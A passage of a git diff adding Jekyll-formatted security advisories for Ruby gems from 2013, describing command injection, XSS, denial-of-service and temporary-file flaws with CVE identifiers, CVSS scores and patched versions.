Injection' +comments: false +categories: +- ftpd +advisory: + gem: ftpd + cve: 2013-2512 + osvdb: 90784 + ghsa: 7vxr-6cxg-j3x8 + url: https://nvd.nist.gov/vuln/detail/CVE-2013-2512 + title: ftpd Gem for Ruby Shell Character Handling Remote Command Injection + date: 2013-02-28 + description: |- + ftpd Gem for Ruby contains a flaw that is triggered when handling a + specially crafted option or filename that contains a shell + character. This may allow a remote attacker to inject arbitrary + commands. + cvss_v2: 9.0 + cvss_v3: 9.8 + patched_versions: + - ">= 0.2.2" +--- diff --git a/advisories/_posts/2013-02-28-CVE-2013-2516.md b/advisories/_posts/2013-02-28-CVE-2013-2516.md new file mode 100644 index 00000000..c8bdb452 --- /dev/null +++ b/advisories/_posts/2013-02-28-CVE-2013-2516.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2013-2516 (fileutils): fileutils Gem for Ruby file_utils.rb Crafted URL + Handling Remote Command Execution' +comments: false +categories: +- fileutils +advisory: + gem: fileutils + cve: 2013-2516 + osvdb: 90717 + ghsa: 9x97-x2p9-hvpf + url: https://nvd.nist.gov/vuln/detail/CVE-2013-2516 + title: fileutils Gem for Ruby file_utils.rb Crafted URL Handling Remote Command + Execution + date: 2013-02-28 + description: |- + fileutils Gem for Ruby contains a flaw in file_utils.rb. The issue is + triggered when handling a specially crafted URL containing a command after a delimiter + (;). This may allow a remote attacker to potentially execute arbitrary commands. + cvss_v3: 8.8 + patched_versions: + - ">= 0.7.1" +--- diff --git a/advisories/_posts/2013-03-04-CVE-2013-2513.md b/advisories/_posts/2013-03-04-CVE-2013-2513.md new file mode 100644 index 00000000..a5a5dd0a --- /dev/null +++ b/advisories/_posts/2013-03-04-CVE-2013-2513.md @@ -0,0 +1,21 @@ +--- +layout: advisory +title: 'CVE-2013-2513 (flash_tool): flash_tool Gem for Ruby File Download Handling + Arbitrary Command Execution' +comments: false +categories: +- flash_tool +advisory: + gem: flash_tool + cve: 2013-2513 + osvdb: 90829 + ghsa: 6325-6g32-7p35 + url: https://nvd.nist.gov/vuln/detail/CVE-2013-2513 + title: flash_tool Gem for Ruby File Download Handling Arbitrary Command Execution + date: 2013-03-04 + description: |- + flash_tool Gem for Ruby contains a flaw that is triggered during the + handling of downloaded files that contain shell characters. With a specially crafted + file, a context-dependent attacker can execute arbitrary commands. + cvss_v3: 9.8 +--- diff --git a/advisories/_posts/2013-03-12-CVE-2013-2616.md b/advisories/_posts/2013-03-12-CVE-2013-2616.md new file mode 100644 index 00000000..33aa3220 --- /dev/null +++ b/advisories/_posts/2013-03-12-CVE-2013-2616.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2013-2616 (mini_magick): MiniMagick Gem for Ruby URI Handling Arbitrary + Command Injection' +comments: false +categories: +- mini_magick +advisory: + gem: mini_magick + cve: 2013-2616 + osvdb: 91231 + ghsa: w754-gq8r-pf5f + url: https://nvd.nist.gov/vuln/detail/CVE-2013-2616 + title: MiniMagick Gem for Ruby URI Handling Arbitrary Command Injection + date: 2013-03-12 + description: |- + MiniMagick Gem for Ruby contains a flaw that is triggered during the handling + of specially crafted input from an untrusted source passed via a URL that + contains a ';' character. This may allow a context-dependent attacker to + potentially execute arbitrary commands. + cvss_v2: 9.3 + patched_versions: + - ">= 3.6.0" +--- diff --git a/advisories/_posts/2013-03-12-CVE-2013-2617.md b/advisories/_posts/2013-03-12-CVE-2013-2617.md new file mode 100644 index 00000000..4456580f --- /dev/null +++ b/advisories/_posts/2013-03-12-CVE-2013-2617.md @@ -0,0 +1,20 @@ +--- +layout: advisory +title: 'CVE-2013-2617 (curl): CVE-2013-2617 rubygem-curl: insufficient URL escaping + command injection' +comments: false +categories: +- curl +advisory: + gem: curl + cve: 2013-2617 + osvdb: 91230 + ghsa: hxx6-p24v-wg8c + url: https://nvd.nist.gov/vuln/detail/CVE-2013-2617 + title: 'CVE-2013-2617 rubygem-curl: insufficient URL escaping command injection' + date: 2013-03-12 + description: |- + lib/curl.rb in the Curl Gem for Ruby allows remote attackers to execute + arbitrary commands via shell metacharacters in a URL. + cvss_v2: 7.5 +--- diff --git a/advisories/_posts/2013-03-13-CVE-2013-2615.md b/advisories/_posts/2013-03-13-CVE-2013-2615.md new file mode 100644 index 00000000..58a99501 --- /dev/null +++ b/advisories/_posts/2013-03-13-CVE-2013-2615.md @@ -0,0 +1,22 @@ +--- +layout: advisory +title: 'CVE-2013-2615 (fastreader): fastreader Gem for Ruby URI Handling Arbitrary + Command Injection' +comments: false +categories: +- fastreader +advisory: + gem: fastreader + cve: 2013-2615 + osvdb: 91232 + ghsa: w248-xr37-jx8m + url: https://nvd.nist.gov/vuln/detail/CVE-2013-2615 + title: fastreader Gem for Ruby URI Handling Arbitrary Command Injection + date: 2013-03-13 + description: |- + fastreader Gem for Ruby contains a flaw that is triggered during the handling + of specially crafted input passed via a URL that contains a ';' character. + This may allow a context-dependent attacker to potentially execute arbitrary + commands. + cvss_v2: 9.3 +--- diff --git a/advisories/_posts/2013-03-18-CVE-2013-1875.md b/advisories/_posts/2013-03-18-CVE-2013-1875.md new file mode 100644 index 00000000..ad2c18f3 --- /dev/null +++ b/advisories/_posts/2013-03-18-CVE-2013-1875.md @@ -0,0 +1,22 @@ +--- +layout: advisory +title: 'CVE-2013-1875 (command_wrap): command_wrap Gem for Ruby URI Handling Arbitrary + Command Injection' +comments: false +categories: +- command_wrap +advisory: + gem: command_wrap + cve: 2013-1875 + osvdb: 91450 + ghsa: p673-hjf2-pwfr + url: https://nvd.nist.gov/vuln/detail/CVE-2013-1875 + title: command_wrap Gem for Ruby URI Handling Arbitrary Command Injection + date: 2013-03-18 + description: |- + command_wrap Gem for Ruby contains a flaw that is triggered during the + handling of input passed via the URL that contains a semicolon character (;). This + will allow a remote attacker to inject arbitrary commands and have them executed + in the context of the user clicking it. + cvss_v2: 7.5 +--- diff --git a/advisories/_posts/2013-03-19-CVE-2013-1854.md b/advisories/_posts/2013-03-19-CVE-2013-1854.md new file mode 100644 index 00000000..0fdaa550 --- /dev/null +++ b/advisories/_posts/2013-03-19-CVE-2013-1854.md @@ -0,0 +1,33 @@ +--- +layout: advisory +title: 'CVE-2013-1854 (activerecord): CVE-2013-1854 rubygem-activerecord: attribute_dos + Symbol DoS vulnerability' +comments: false +categories: +- activerecord +- rails +advisory: + gem: activerecord + framework: rails + cve: 2013-1854 + osvdb: 91453 + ghsa: 3crr-9vmg-864v + url: https://nvd.nist.gov/vuln/detail/CVE-2013-1854 + title: 'CVE-2013-1854 rubygem-activerecord: attribute_dos Symbol DoS vulnerability' + date: 2013-03-19 + description: |- + The Active Record component in Ruby on Rails 2.3.x before 2.3.18, 3.1.x + before 3.1.12, and 3.2.x before 3.2.13 processes certain queries by converting hash + keys to symbols, which allows remote attackers to cause a denial of service via + crafted input to a where method. A flaw was found in the way Ruby on Rails handled + hashes in certain queries. A remote attacker could use this flaw to perform a denial + of service (resource consumption) attack by sending specially crafted queries that + would result in the creation of Ruby symbols, which were never garbage collected. + cvss_v2: 7.8 + unaffected_versions: + - "~> 3.0.0" + patched_versions: + - "~> 2.3.18" + - "~> 3.1.12" + - ">= 3.2.13" +--- diff --git a/advisories/_posts/2013-03-19-CVE-2013-1855.md b/advisories/_posts/2013-03-19-CVE-2013-1855.md new file mode 100644 index 00000000..13c1c610 --- /dev/null +++ b/advisories/_posts/2013-03-19-CVE-2013-1855.md @@ -0,0 +1,32 @@ +--- +layout: advisory +title: 'CVE-2013-1855 (actionpack): CVE-2013-1855 rubygem-actionpack: css_sanitization: + XSS vulnerability in sanitize_css' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2013-1855 + osvdb: 91452 + ghsa: q759-hwvc-m3jg + url: https://nvd.nist.gov/vuln/detail/CVE-2013-1855 + title: 'CVE-2013-1855 rubygem-actionpack: css_sanitization: XSS vulnerability in + sanitize_css' + date: 2013-03-19 + description: |- + The sanitize_css method in lib/action_controller/vendor/html-scanner/html/sanitizer.rb + in the Action Pack component in Ruby on Rails before 2.3.18, 3.0.x and 3.1.x before + 3.1.12, and 3.2.x before 3.2.13 does not properly handle \n (newline) characters, + which makes it easier for remote attackers to conduct cross-site scripting (XSS) + attacks via crafted Cascading Style Sheets (CSS) token sequences. A cross-site scripting + (XSS) flaw was found in Action Pack. A remote attacker could use this flaw to conduct + XSS attacks against users of an application using Action Pack. + cvss_v2: 4.3 + patched_versions: + - "~> 2.3.18" + - "~> 3.1.12" + - ">= 3.2.13" +--- diff --git a/advisories/_posts/2013-03-19-CVE-2013-1856.md b/advisories/_posts/2013-03-19-CVE-2013-1856.md new file mode 100644 index 00000000..1b8acd98 --- /dev/null +++ b/advisories/_posts/2013-03-19-CVE-2013-1856.md @@ -0,0 +1,34 @@ +--- +layout: advisory +title: 'CVE-2013-1856 (activesupport): XML Parsing Vulnerability affecting JRuby users' +comments: false +categories: +- activesupport +- rails +- jruby +advisory: + gem: activesupport + framework: rails + platform: jruby + cve: 2013-1856 + osvdb: 91451 + ghsa: 9c2j-593q-3g82 + url: https://nvd.nist.gov/vuln/detail/CVE-2013-1856 + title: XML Parsing Vulnerability affecting JRuby users + date: 2013-03-19 + description: |- + The ActiveSupport XML parsing functionality supports multiple + pluggable backends. One backend supported for JRuby users is + ActiveSupport::XmlMini_JDOM which makes use of the + javax.xml.parsers.DocumentBuilder class. In some JVM configurations + the default settings of that class can allow an attacker to construct + XML which, when parsed, will contain the contents of arbitrary URLs + including files from the application server. They may also allow for + various denial of service attacks. Action Pack + cvss_v2: 7.8 + unaffected_versions: + - "~> 2.3.0" + patched_versions: + - "~> 3.1.12" + - ">= 3.2.13" +--- diff --git a/advisories/_posts/2013-03-19-CVE-2013-1857.md b/advisories/_posts/2013-03-19-CVE-2013-1857.md new file mode 100644 index 00000000..17cdaac4 --- /dev/null +++ b/advisories/_posts/2013-03-19-CVE-2013-1857.md @@ -0,0 +1,33 @@ +--- +layout: advisory +title: 'CVE-2013-1857 (actionpack): CVE-2013-1857 rubygem-actionpack: sanitize_protocol: + XSS Vulnerability in the helper of Ruby on Rails' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2013-1857 + osvdb: 91454 + ghsa: j838-vfpq-fmf2 + url: https://nvd.nist.gov/vuln/detail/CVE-2013-1857 + title: 'CVE-2013-1857 rubygem-actionpack: sanitize_protocol: XSS Vulnerability in + the helper of Ruby on Rails' + date: 2013-03-19 + description: |- + 'The sanitize helper in lib/action_controller/vendor/html-scanner/html/sanitizer.rb + in the Action Pack component in Ruby on Rails before 2.3.18, 3.0.x and 3.1.x before + 3.1.12, and 3.2.x before 3.2.13 does not properly handle encoded : (colon) characters + in URLs, which makes it easier for remote attackers to conduct cross-site scripting + (XSS) attacks via a crafted scheme name, as demonstrated by including a : sequence. + A cross-site scripting (XSS) flaw was found in Action Pack. A remote attacker could + use this flaw to conduct XSS attacks against users of an application using Action + Pack.' + cvss_v2: 4.3 + patched_versions: + - "~> 2.3.18" + - "~> 3.1.12" + - ">= 3.2.13" +--- diff --git a/advisories/_posts/2013-03-26-CVE-2013-1898.md b/advisories/_posts/2013-03-26-CVE-2013-1898.md new file mode 100644 index 00000000..4b79da46 --- /dev/null +++ b/advisories/_posts/2013-03-26-CVE-2013-1898.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2013-1898 (thumbshooter): Thumbshooter Gem for Ruby thumbshooter.rb URL + Shell Metacharacter Injection Arbitrary Command Execution' +comments: false +categories: +- thumbshooter +advisory: + gem: thumbshooter + cve: 2013-1898 + osvdb: 91839 + ghsa: 7fqj-cg79-f2pv + url: https://nvd.nist.gov/vuln/detail/CVE-2013-1898 + title: Thumbshooter Gem for Ruby thumbshooter.rb URL Shell Metacharacter Injection + Arbitrary Command Execution + date: 2013-03-26 + description: |- + Thumbshooter Gem for Ruby contains a flaw that is due to the program + failing to properly sanitize input passed to thumbshooter.rb. With a specially crafted + URL that contains shell metacharacters, a context-dependent attacker can execute + arbitrary commands. + cvss_v2: 7.5 +--- diff --git a/advisories/_posts/2013-04-01-CVE-2013-1911.md b/advisories/_posts/2013-04-01-CVE-2013-1911.md new file mode 100644 index 00000000..8d1b042e --- /dev/null +++ b/advisories/_posts/2013-04-01-CVE-2013-1911.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2013-1911 (ldoce): ldoce Gem for Ruby MP3 URL Shell Metacharacter Injection + Arbitrary Command Execution' +comments: false +categories: +- ldoce +advisory: + gem: ldoce + cve: 2013-1911 + osvdb: 91870 + ghsa: g266-3crh-h7gj + url: https://nvd.nist.gov/vuln/detail/CVE-2013-1911 + title: ldoce Gem for Ruby MP3 URL Shell Metacharacter Injection Arbitrary Command + Execution + date: 2013-04-01 + description: |- + ldoce Gem for Ruby contains a flaw that is triggered during the handling + of a specially crafted URL or filename for MP3 files that have shell metacharacters + injected in to it. This may allow a context-dependent attacker to execute arbitrary + commands. + cvss_v2: 6.8 +--- diff --git a/advisories/_posts/2013-04-04-CVE-2013-1947.md b/advisories/_posts/2013-04-04-CVE-2013-1947.md new file mode 100644 index 00000000..25a66518 --- /dev/null +++ b/advisories/_posts/2013-04-04-CVE-2013-1947.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2013-1947 (kelredd-pruview): kelredd-pruview Gem for Ruby /lib/pruview/document.rb + File Name Shell Metacharacter Injection Arbitrary Command Execution' +comments: false +categories: +- kelredd-pruview +advisory: + gem: kelredd-pruview + cve: 2013-1947 + osvdb: 92228 + ghsa: 78j3-7wpm-qhvp + url: https://nvd.nist.gov/vuln/detail/CVE-2013-1947 + title: kelredd-pruview Gem for Ruby /lib/pruview/document.rb File Name Shell Metacharacter + Injection Arbitrary Command Execution + date: 2013-04-04 + description: |- + kelredd-pruview Gem for Ruby contains a flaw in /lib/pruview/document.rb. + The issue is triggered during the handling of a specially crafted file name that + contains injected shell metacharacters. This may allow a context-dependent attacker + to potentially execute arbitrary commands. + cvss_v2: 9.3 +--- diff --git a/advisories/_posts/2013-04-08-CVE-2013-1933.md b/advisories/_posts/2013-04-08-CVE-2013-1933.md new file mode 100644 index 00000000..c6af5cdf --- /dev/null +++ b/advisories/_posts/2013-04-08-CVE-2013-1933.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2013-1933 (karteek-docsplit): Karteek Docsplit Gem for Ruby text_extractor.rb + File Name Shell Metacharacter Injection Arbitrary Command Execution' +comments: false +categories: +- karteek-docsplit +advisory: + gem: karteek-docsplit + cve: 2013-1933 + osvdb: 92117 + ghsa: 4fvg-pwv7-v54g + url: https://nvd.nist.gov/vuln/detail/CVE-2013-1933 + title: Karteek Docsplit Gem for Ruby text_extractor.rb File Name Shell Metacharacter + Injection Arbitrary Command Execution + date: 2013-04-08 + description: |- + Karteek Docsplit Gem for Ruby contains a flaw that is due to the program + failing to properly sanitize input passed to text_extractor.rb. With a specially + crafted file name that contains shell metacharacters, a context-dependent attacker + can execute arbitrary commands + cvss_v2: 9.3 +--- diff --git a/advisories/_posts/2013-04-13-CVE-2013-1948.md b/advisories/_posts/2013-04-13-CVE-2013-1948.md new file mode 100644 index 00000000..c469e3b6 --- /dev/null +++ b/advisories/_posts/2013-04-13-CVE-2013-1948.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2013-1948 (md2pdf): md2pdf Gem for Ruby md2pdf/converter.rb File Name + Shell Metacharacter Injection Arbitrary Command Execution' +comments: false +categories: +- md2pdf +advisory: + gem: md2pdf + cve: 2013-1948 + osvdb: 92290 + ghsa: 99ch-8mvp-g7m5 + url: https://nvd.nist.gov/vuln/detail/CVE-2013-1948 + title: md2pdf Gem for Ruby md2pdf/converter.rb File Name Shell Metacharacter Injection + Arbitrary Command Execution + date: 2013-04-13 + description: |- + md2pdf Gem for Ruby contains a flaw that is due to the program failing + to properly sanitize input passed to md2pdf/converter.rb. With a specially crafted + file name that contains shell metacharacters, a context-dependent attacker can execute + arbitrary commands + cvss_v2: 10.0 +--- diff --git a/advisories/_posts/2013-04-21-CVE-2013-3221.md b/advisories/_posts/2013-04-21-CVE-2013-3221.md new file mode 100644 index 00000000..e960d429 --- /dev/null +++ b/advisories/_posts/2013-04-21-CVE-2013-3221.md @@ -0,0 +1,47 @@ +--- +layout: advisory +title: 'CVE-2013-3221 (activerecord): Data-type injection vulnerability' +comments: false +categories: +- activerecord +- rails +advisory: + gem: activerecord + framework: rails + cve: 2013-3221 + ghsa: f57c-hx33-hvh8 + url: https://nvd.nist.gov/vuln/detail/CVE-2013-3221 + title: Data-type injection vulnerability + date: 2013-04-21 + description: |- + The Active Record component in Ruby on Rails 2.3.x, 3.0.x, 3.1.x, + and 3.2.x does not ensure that the declared data type of a database + column is used during comparisons of input values to stored values + in that column, which makes it easier for remote attackers to + conduct data-type injection attacks against Ruby on Rails applications + via a crafted value, as demonstrated by unintended interaction + between the "typed XML" feature and a MySQL database. + + ## RELEASE INFO + - Phrack writeup says that 'couple of days after the advisory the + issue was "fixed" in Rails 3.2.12 as by the following commit' 921a296. + But "Indeed the vector is completely fixed as of Rails 4.2 almost + two years after the original advisory." + cvss_v2: 6.4 + cvss_v4: 9.3 + patched_versions: + - ">= 4.2.0" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2013-3221 + - https://github.com/rails/rails/commit/c9909db9f2f81575ef2ea2ed3b4e8743c8d6f1b9 + - https://github.com/rails/rails/commit/921a296a3390192a71abeec6d9a035cc6d1865c8 + - https://groups.google.com/group/rubyonrails-security/msg/1f3bc0b88a60c1ce + - http://pl.reddit.com/r/netsec/comments/17yajp/mysql_madness_and_rails + - http://openwall.com/lists/oss-security/2013/02/06/7 + - http://openwall.com/lists/oss-security/2013/04/24/7 + - https://gist.github.com/marianposaceanu/5442275 + - https://web.archive.org/web/20160307143147/http://www.phenoelit.org/blog/archives/2013/02/index.html + - https://github.com/advisories/GHSA-f57c-hx33-hvh8 + - https://phrack.org/issues/69/12 +--- diff --git a/advisories/_posts/2013-05-14-CVE-2013-2090.md b/advisories/_posts/2013-05-14-CVE-2013-2090.md new file mode 100644 index 00000000..dc8f5e2a --- /dev/null +++ b/advisories/_posts/2013-05-14-CVE-2013-2090.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'CVE-2013-2090 (cremefraiche): Creme Fraiche Gem for Ruby File Name Shell Metacharacter + Injection Arbitrary Command Execution' +comments: false +categories: +- cremefraiche +advisory: + gem: cremefraiche + cve: 2013-2090 + osvdb: 93395 + ghsa: m6f7-46hw-grcj + url: https://nvd.nist.gov/vuln/detail/CVE-2013-2090 + title: Creme Fraiche Gem for Ruby File Name Shell Metacharacter Injection Arbitrary + Command Execution + date: 2013-05-14 + description: |- + Creme Fraiche Gem for Ruby contains a flaw that is due to the program + failing to properly sanitize input in file names. With a specially crafted file + name that contains shell metacharacters, a context-dependent attacker can execute + arbitrary commands + cvss_v2: 9.3 + patched_versions: + - ">= 0.6.1" +--- diff --git a/advisories/_posts/2013-05-17-CVE-2013-2105.md b/advisories/_posts/2013-05-17-CVE-2013-2105.md new file mode 100644 index 00000000..4825e1a6 --- /dev/null +++ b/advisories/_posts/2013-05-17-CVE-2013-2105.md @@ -0,0 +1,21 @@ +--- +layout: advisory +title: 'CVE-2013-2105 (show_in_browser): Show In Browser Gem for Ruby /tmp/browser.html + Arbitrary Script Injection' +comments: false +categories: +- show_in_browser +advisory: + gem: show_in_browser + cve: 2013-2105 + osvdb: 93490 + ghsa: 9hx9-w2j6-rw76 + url: https://nvd.nist.gov/vuln/detail/CVE-2013-2105 + title: Show In Browser Gem for Ruby /tmp/browser.html Arbitrary Script Injection + date: 2013-05-17 + description: |- + Show In Browser Gem for Ruby contains a flaw that is triggered when the + application does not validate input passed via the /tmp/browser.html file. This + may allow a local attacker to create a specially crafted request that would execute + arbitrary script code in a user's browser. +--- diff --git a/advisories/_posts/2013-05-29-CVE-2013-2119.md b/advisories/_posts/2013-05-29-CVE-2013-2119.md new file mode 100644 index 00000000..409b0589 --- /dev/null +++ b/advisories/_posts/2013-05-29-CVE-2013-2119.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'CVE-2013-2119 (passenger): CVE-2013-2119 rubygem-passenger: incorrect temporary + file usage' +comments: false +categories: +- passenger +advisory: + gem: passenger + cve: 2013-2119 + osvdb: 93752 + ghsa: 9qj7-jvg4-qr2x + url: https://nvd.nist.gov/vuln/detail/CVE-2013-2119 + title: 'CVE-2013-2119 rubygem-passenger: incorrect temporary file usage' + date: 2013-05-29 + description: |- + Phusion Passenger gem before 3.0.21 and 4.0.x before 4.0.5 for Ruby allows + local users to cause a denial of service (prevent application start) or gain privileges + by pre-creating a temporary "config" file in a directory with a predictable name + in /tmp/ before it is used by the gem. + cvss_v2: 4.6 + patched_versions: + - "~> 3.0.21" + - ">= 4.0.5" +--- diff --git a/advisories/_posts/2013-06-10-CVE-2013-4136.md b/advisories/_posts/2013-06-10-CVE-2013-4136.md new file mode 100644 index 00000000..1e6ee9f0 --- /dev/null +++ b/advisories/_posts/2013-06-10-CVE-2013-4136.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'CVE-2013-4136 (passenger): CVE-2013-4136 rubygem-passenger: insecure temporary + directory usage due toreuse of existing server instance directories' +comments: false +categories: +- passenger +advisory: + gem: passenger + cve: 2013-4136 + osvdb: 94074 + ghsa: w6rc-q387-vpgq + url: https://nvd.nist.gov/vuln/detail/CVE-2013-4136 + title: 'CVE-2013-4136 rubygem-passenger: insecure temporary directory usage due + toreuse of existing server instance directories' + date: 2013-06-10 + description: |- + ext/common/ServerInstanceDir.h in Phusion Passenger gem before 4.0.6 + for Ruby allows local users to gain privileges or possibly change the ownership + of arbitrary directories via a symlink attack on a directory with a predictable + name in /tmp/. + cvss_v2: 4.6 + patched_versions: + - ">= 4.0.8" +--- diff --git a/advisories/_posts/2013-06-26-OSVDB-94679.md b/advisories/_posts/2013-06-26-OSVDB-94679.md new file mode 100644 index 00000000..a53daeb7 --- /dev/null +++ b/advisories/_posts/2013-06-26-OSVDB-94679.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'OSVDB-94679 (enum_column3): enum_column3 Gem for Ruby Symbol Creation Remote + DoS' +comments: false +categories: +- enum_column3 +advisory: + gem: enum_column3 + osvdb: 94679 + url: https://security.snyk.io/vuln/SNYK-RUBY-ENUMCOLUMN3-20100 + title: enum_column3 Gem for Ruby Symbol Creation Remote DoS + date: 2013-06-26 + description: |- + The enum_column3 Gem for Ruby contains a flaw that may allow a remote + denial of service. The issue is due to the program typecasting unexpected + strings to symbols. This may allow a remote attacker to crash the program. + related: + url: + - https://security.snyk.io/vuln/SNYK-RUBY-ENUMCOLUMN3-20100 + - http://osvdb.org/show/osvdb/94679 + notes: Never patched +--- diff --git a/advisories/_posts/2013-07-09-CVE-2014-2538.md b/advisories/_posts/2013-07-09-CVE-2014-2538.md new file mode 100644 index 00000000..70cd06a7 --- /dev/null +++ b/advisories/_posts/2013-07-09-CVE-2014-2538.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'CVE-2014-2538 (rack-ssl): CVE-2014-2538 rubygem rack-ssl: URL error display + XSS' +comments: false +categories: +- rack-ssl +advisory: + gem: rack-ssl + cve: 2014-2538 + osvdb: 104734 + ghsa: v3rr-cph9-2g2q + url: https://nvd.nist.gov/vuln/detail/CVE-2014-2538 + title: 'CVE-2014-2538 rubygem rack-ssl: URL error display XSS' + date: 2013-07-09 + description: |- + Cross-site scripting (XSS) vulnerability in lib/rack/ssl.rb in the rack-ssl + gem before 1.4.0 for Ruby allows remote attackers to inject arbitrary web script + or HTML via a URI, which might not be properly handled by third-party adapters such + as JRuby-Rack. + cvss_v2: 4.3 + cvss_v4: 5.3 + patched_versions: + - ">= 1.3.4" +--- diff --git a/advisories/_posts/2013-07-25-CVE-2013-4170.md b/advisories/_posts/2013-07-25-CVE-2013-4170.md new file mode 100644 index 00000000..fd044579 --- /dev/null +++ b/advisories/_posts/2013-07-25-CVE-2013-4170.md @@ -0,0 +1,34 @@ +--- +layout: advisory +title: 'CVE-2013-4170 (ember-source): Ember.js Potential XSS Exploit When Binding + `tagName` to User-Supplied Data' +comments: false +categories: +- ember-source +advisory: + gem: ember-source + cve: 2013-4170 + ghsa: 5m48-c37x-f792 + url: https://groups.google.com/forum/#!topic/ember-security/dokLVwwxAdM + title: Ember.js Potential XSS Exploit When Binding `tagName` to User-Supplied Data + date: 2013-07-25 + description: |- + In general, Ember.js escapes or strips any user-supplied content + before inserting it in strings that will be sent to innerHTML. + However, the `tagName` property of an `Ember.View` was inserted into + such a string without being sanitized. This means that if an + application assigns a view's `tagName` to user-supplied data, a + specially-crafted payload could execute arbitrary JavaScript in the + context of the current domain ("XSS"). + + This vulnerability only affects applications that assign or bind + user-provided content to `tagName`. + cvss_v3: 6.1 + patched_versions: + - "~> 1.0.0.rc1.1" + - "~> 1.0.0.rc2.1" + - "~> 1.0.0.rc3.1" + - "~> 1.0.0.rc4.1" + - "~> 1.0.0.rc5.1" + - ">= 1.0.0.rc6.1" +--- diff --git a/advisories/_posts/2013-08-02-CVE-2013-4203.md b/advisories/_posts/2013-08-02-CVE-2013-4203.md new file mode 100644 index 00000000..4d71b4d8 --- /dev/null +++ b/advisories/_posts/2013-08-02-CVE-2013-4203.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2013-4203 (rgpg): rgpg Gem for Ruby lib/rgpg/gpg_helper.rb Remote Command + Execution' +comments: false +categories: +- rgpg +advisory: + gem: rgpg + cve: 2013-4203 + osvdb: 95948 + ghsa: jg4m-q6w8-vrjp + url: https://nvd.nist.gov/vuln/detail/CVE-2013-4203 + title: rgpg Gem for Ruby lib/rgpg/gpg_helper.rb Remote Command Execution + date: 2013-08-02 + description: |- + rgpg Gem for Ruby contains a flaw in the GpgHelper module + (lib/rgpg/gpg_helper.rb). The issue is due to the program failing to properly + sanitize user-supplied input before being used in the system() function for + execution. This may allow a remote attacker to execute arbitrary commands. + cvss_v2: 7.5 + patched_versions: + - ">= 0.2.3" +--- diff --git a/advisories/_posts/2013-08-02-OSVDB-114435.md b/advisories/_posts/2013-08-02-OSVDB-114435.md new file mode 100644 index 00000000..74bf83e3 --- /dev/null +++ b/advisories/_posts/2013-08-02-OSVDB-114435.md @@ -0,0 +1,29 @@ +--- +layout: advisory +title: 'OSVDB-114435 (devise): CSRF token fixation attacks in Devise' +comments: false +categories: +- devise +advisory: + gem: devise + osvdb: 114435 + url: http://blog.plataformatec.com.br/2013/08/csrf-token-fixation-attacks-in-devise/ + title: CSRF token fixation attacks in Devise + date: 2013-08-02 + description: |- + Devise contains a flaw that allows a remote, user-assisted attacker to + conduct a CSRF token fixation attack. This issue is triggered as previous + CSRF tokens are not properly invalidated when a new token is created. + If an attacker has knowledge of said token, a specially crafted request can + be made to it, allowing the attacker to conduct CSRF attacks. + patched_versions: + - "~> 2.2.5" + - ">= 3.0.1" + related: + url: + - http://blog.plataformatec.com.br/2013/08/csrf-token-fixation-attacks-in-devise + - https://github.com/heartcombo/devise/commit/747751a20f50aa8814dcd3eb9a3648f00ab6a707 + - https://github.com/heartcombo/devise/compare/v3.0.0...v3.0.1 + - https://my.diffend.io/gems/devise/3.0.0/3.0.1 + - https://security.snyk.io/vuln/SNYK-RUBY-DEVISE-20103 +--- diff --git a/advisories/_posts/2013-08-03-OSVDB-96425.md b/advisories/_posts/2013-08-03-OSVDB-96425.md new file mode 100644 index 00000000..0da0df64 --- /dev/null +++ b/advisories/_posts/2013-08-03-OSVDB-96425.md @@ -0,0 +1,29 @@ +--- +layout: advisory +title: 'OSVDB-96425 (redis-namespace): redis-namespace Gem for Ruby contains a flaw + in the method_missing implementation' +comments: false +categories: +- redis-namespace +advisory: + gem: redis-namespace + osvdb: 96425 + url: http://blog.steveklabnik.com/posts/2013-08-03-redis-namespace-1-3-1--security-release + title: redis-namespace Gem for Ruby contains a flaw in the method_missing implementation + date: 2013-08-03 + description: |- + redis-namespace Gem for Ruby contains a flaw in the method_missing implementation. + The issue is triggered when handling exec commands called via send(). This may allow a + remote attacker to execute arbitrary commands. + patched_versions: + - "~> 1.0.4" + - "~> 1.1.1" + - "~> 1.2.2" + - ">= 1.3.1" + related: + url: + - http://blog.steveklabnik.com/posts/2013-08-03-redis-namespace-1-3-1--security-release + - https://github.com/resque/redis-namespace/issues/65 + - https://github.com/resque/redis-namespace/commit/6d839515e8a3fdc17b5fb391500fda3f919689d6 + - https://security.snyk.io/vuln/SNYK-RUBY-REDISNAMESPACE-20105 +--- diff --git a/advisories/_posts/2013-08-14-CVE-2013-5647.md b/advisories/_posts/2013-08-14-CVE-2013-5647.md new file mode 100644 index 00000000..5b119452 --- /dev/null +++ b/advisories/_posts/2013-08-14-CVE-2013-5647.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2013-5647 (sounder): Sounder Gem for Ruby File Name Handling Arbitrary + Command Execution' +comments: false +categories: +- sounder +advisory: + gem: sounder + cve: 2013-5647 + osvdb: 96278 + ghsa: rfmf-rx8w-935w + url: https://nvd.nist.gov/vuln/detail/CVE-2013-5647 + title: Sounder Gem for Ruby File Name Handling Arbitrary Command Execution + date: 2013-08-14 + description: |- + Sounder Gem for Ruby contains a flaw that is triggered during the handling + of file names. This may allow a context-dependent attacker to execute + arbitrary commands. + cvss_v2: 7.5 + patched_versions: + - ">= 1.0.2" +--- diff --git a/advisories/_posts/2013-09-01-CVE-2013-4318.md b/advisories/_posts/2013-09-01-CVE-2013-4318.md new file mode 100644 index 00000000..ebb82e51 --- /dev/null +++ b/advisories/_posts/2013-09-01-CVE-2013-4318.md @@ -0,0 +1,22 @@ 